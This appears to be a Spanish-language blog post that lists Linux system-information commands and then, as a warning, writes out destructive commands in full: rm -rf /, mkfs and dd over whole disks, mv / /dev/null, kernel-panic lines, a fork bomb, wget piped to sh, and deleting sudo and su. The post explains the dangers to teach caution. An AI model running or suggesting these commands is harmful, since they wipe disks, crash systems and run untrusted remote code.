uname -a: Información sobre el sistema operativo de la maquina.
df -h: Información sobre todo los dispositivos montados en la maquina.
hostname: Devuelve el nombre de la maquina.
uptime: Cantidad de tiempo trascurrido desde la ultima vez que se arranco el sistema, cantidad de usuarios trabajando en el sistema y carga del sistema).
dmesg|more: Imprime el "ring buffer" del kernel.
free -tm: Información sobre la cantidad de memoria disponible y usada.
du -bh /|more: Información sobre el espacio ocupado por cada subdirectorio, comenzando en el directorio raiz /.
ps: Información sobre los procesos del actual usuario, que se estan ejecutando.
ps axu: Información sobre todos los procesos que se estan ejecutando en la maquina.
top: Informacion sobre el uso de cpu y memoria de los procesos del sistema.
cat /proc/cpuinfo: Información sobre el microprocesador.
cat /proc/interrupts: Información sobre las interrupciones en uso.
cat /proc/dma: Información sobre dma en uso.
cat /proc/filesystems: Información sobre los sistemas de archivos que se pueden utilizar (compilados en el kernel).
/sbin/lsmod: Información sobre módulos en uso.
finger usuario: Información sobre el usuario usuario.
who: Información sobre usuarios usando el sistema.
id usuario: UID, GID y GROUPS del usuario usuario
last: Informacion últimos usuarios que han usado el sistema.
set|more: Sobre el entorno de usuario actual.
ping maquina: Para comprobar si tenemos contacto con la maquina maquina (maquina: nombre o IP)
/sbin/route: Tabla de enrutamiento de nuestro sistema.
/sbin/ifconfig: Información sobre los distintos dispositivos de red
netstat: Información valiosa sobre la conexión de red (Este comando tiene muchas posibilidades, ejecutar man netstat
#tailf /var/log/squid3/access.log | perl -pe ‘s/\d+/localtime($&)/e’
Y puedes filtrar cualquier sitio:
#tailf /var/log/squid3/access.log | perl -pe ‘s/\d+/localtime($&)/e’| grep facebook.com
…y listo.
ELIMINAR
Linux para eliminar todo lo que quieras sin preguntar es un
regalo del cielo, especialmente después de años de errores de “Este archivo no
puede ser eliminado” en Windows. Pero los trolls de Internet se apresurarán a
engañarte para que recibas comandos de eliminación extremadamente peligrosos
que pueden acabar con todos tus discos duros.
a) rm -rf /
Esta línea ejecuta el comando rm delete con dos
modificadores: -r, que provoca un borrado recursivo a través de todos los
subdirectorios, y -f, que hace que se borren los archivos de sólo lectura sin
confirmación. El comando se ejecuta en el directorio /root, borrando
esencialmente todo el sistema.
ü
rm: se utiliza para eliminar archivos.
ü
rm -r: borra la carpeta recursivamente, incluso
la carpeta vacía.
ü
rm -f: elimina el ‘Archivo de sólo lectura’ sin
preguntar.
ü
rm -rf /: Fuerza la eliminación de todo en el
directorio raíz.
ü
rm -rf *: Fuerza la eliminación de todo en el
directorio actual/de trabajo.
ü
rm -rf .: Fuerza la eliminación de la carpeta
actual y las subcarpetas.
Ten en cuenta que en la mayoría de los sistemas Linux de hoy
en día, si intentas esto, recibirás una advertencia. Pero una advertencia no
está garantizada, así que no lo hagas.
Consejo
Para evitar el borrado accidental de archivos mediante el
comando ‘rm’, crea un alias del comando ‘rm‘ como ‘rm -i‘ en el archivo
“.bashrc“, que te pedirá que confirmes cada borrado.
FORMATEAR EL DISCO
El terminal es especialmente complicado para los novatos en
Linux porque ofrece varias formas de borrar accidentalmente un disco duro. El
borrado otro
mkfs.ext3 /dev/hda
Este comando formatea un disco duro para utilizar el sistema
de archivos ext3. Formatear un disco no es intrínsecamente malicioso, pero
“reinicia” el disco para que quede “como nuevo”. En otras palabras, un disco
duro formateado es como una pizarra en blanco.
El formateo es útil para las particiones de disco y las
unidades externas, pero realizarlo en un disco duro entero (por ejemplo,
/dev/hda) es peligroso y puede hacer que tu sistema sea irrecuperable.
mkfs.ext4 /dev/sda
3. SOBRESCRIBIR EL DISCO DURO
Como si formatear accidentalmente una unidad no fuera
suficientemente malo, es posible sobrescribir el disco duro con datos sin
procesar. Al menos formatear un disco es un procedimiento real con uso en el
mundo real; en cambio, sobrescribir directamente un disco no es tan bueno.
comando > /dev/hda
En el comando anterior, el comando puede ser reemplazado por
cualquier comando Bash. El operador > redirige la salida del comando de la
izquierda al archivo de la derecha. En este caso no importa cuál es la salida
del comando de la izquierda. Estos datos en bruto se redirigen y se utilizan
para sobrescribir el disco duro del sistema.
Como puedes imaginar, esto lo hace inútil.
ü
BORRAR EL DISCO DURO
Esta es otra forma de arruinar tu sistema. Esta vez el
comando pondrá a cero completamente tu disco duro. No hay corrupción ni
sobreescritura de datos; literalmente llenará tu disco duro de ceros. El disco
duro ya no se borra.
ü
dd if=/dev/zero of=/dev/hda
El comando dd es una instrucción de bajo nivel que se
utiliza principalmente para escribir datos en discos físicos. El parámetro if
define la fuente de datos, que en este caso es /dev/zero, un especial de Linux
que crea un flujo infinito de ceros. El parámetro of define el destino de estos
ceros, que es la unidad /dev/hda.
Sí, hay razones legítimas para poner a cero el disco, pero
si no sabes cuáles son esas razones, deberías mantenerte alejado de este
comando.
ü
HACER ESTALLAR TU DISCO DURO
Si estás cansado de escuchar formas de romper tu disco duro,
espera. Aquí hay otro para ti. Linux tiene un archivo especial /dev/null que
descarta cualquier dato que se escriba en él. Puedes pensar en él como un
agujero negro o un destructor de archivos: todo lo que se le dé como entrada
será devorado para siempre.
ü
mv / /dev/null
¿Puedes detectar un peligro aquí? El comando mv intenta
mover el directorio raíz del sistema / a un agujero negro /dev/null. Este es un
comando válido y el resultado es terrible: se come el disco duro y no queda
nada.
ü
CAUSAR EL KERNEL PANIC ERROR
Windows tiene su infame pantalla azul de la muerte Y, a
pesar de los mitos que circulan, Linux no es un sistema completamente seguro. A
veces se produce un error interno que hace imposible la recuperación, por lo que
el sistema producirá algo parecido a una “pantalla azul”: kernel panic.
dd if=/dev/random of=/dev/port echo 1 >
/proc/sys/kernel/panic cat /dev/port cat /dev/zero > /dev/mem
Las complejidades de los comandos anteriores no son
importantes aquí. Lo importante es que la ejecución de cualquiera de estas
líneas hará que el kernel entre en pánico, obligando a reiniciar el sistema. Es
mejor no utilizar estos comandos a menos que estés seguro de que sabes lo que
está haciendo.
MovieSquare Cliente Descubrimiento Películas Linux
MOVIESQUARE: CLIENTE DE DESCUBRIMIENTO DE PELÍCULAS PARA
ESCRITORIO LINUX
ü
BOMBA FORK
Bash es un lenguaje de terminal y es poderoso. No sólo puede
ejecutar comandos, sino que también puede ejecutar funciones, lo que facilita
la escritura de scripts que pueden automatizar las tareas del sistema. Por
desgracia, las funciones no están exentas de riesgos.
:(){:|:&};:
Para tener una mejor idea de cómo funciona, vamos a
convertirlo un poco:
fu() {
fu | fu &
}
fu
Este oscuro comando se llama fork bomb, que es un tipo
especial de kernel panic. Define una función llamada : que se llama a sí misma
recursivamente dos veces durante la ejecución. Una de las llamadas recursivas
se produce en primer plano y la otra en segundo plano.
En otras palabras, cada vez que se ejecuta esta función,
genera dos procesos hijos. Estos hijos engendran sus propios procesos hijos, y
este bucle continúa un bucle sin fin. La única manera de salir de esto es
reiniciar el sistema.
8. EJECUTAR UN SCRIPT REMOTO
He aquí un comando inocente que puede ser realmente útil en
la vida diaria de Linux. wget extrae el contenido de una webURL que puede
utilizarse para acceder a sitios web o descargar archivos. Sin embargo, hay un
sencillo truco que lo hace peligroso:
wget http://url-no-fiable -O- | sh
La combinación anterior descarga el contenido de la URL dada
y lo pasa inmediatamente al comando sh, que ejecuta el contenido descargado en
la terminal. Si la URL hubiera apuntado a un script malicioso, habría
confundido su destino con este comando.
ü
SOBRESCRIBIR ARCHIVO DE CONFIGURACIÓN
Un comando que puede sobrescribir un archivo de
configuración importante. En Linux hay dos funciones que confunden en parte
> – reemplazar y >> – añadir. Así que si escribes > archivo.conf,
puedes simplemente borrar el contenido del archivo.
comando > archivo.conf
ü
DESACTIVAR LOS PERMISOS DE ROOT
Este último comando es sencillo. Utiliza el comando rm de
uso común para desactivar los dos comandos más importantes de Linux: sudo y su.
En resumen, estos dos permiten ejecutar otros comandos con privilegios de root.
Sin ellos, la vida en Linux sería miserable.
rm -f /usr/bin/sudo;rm -f /bin/su
No hay comentarios:
Publicar un comentario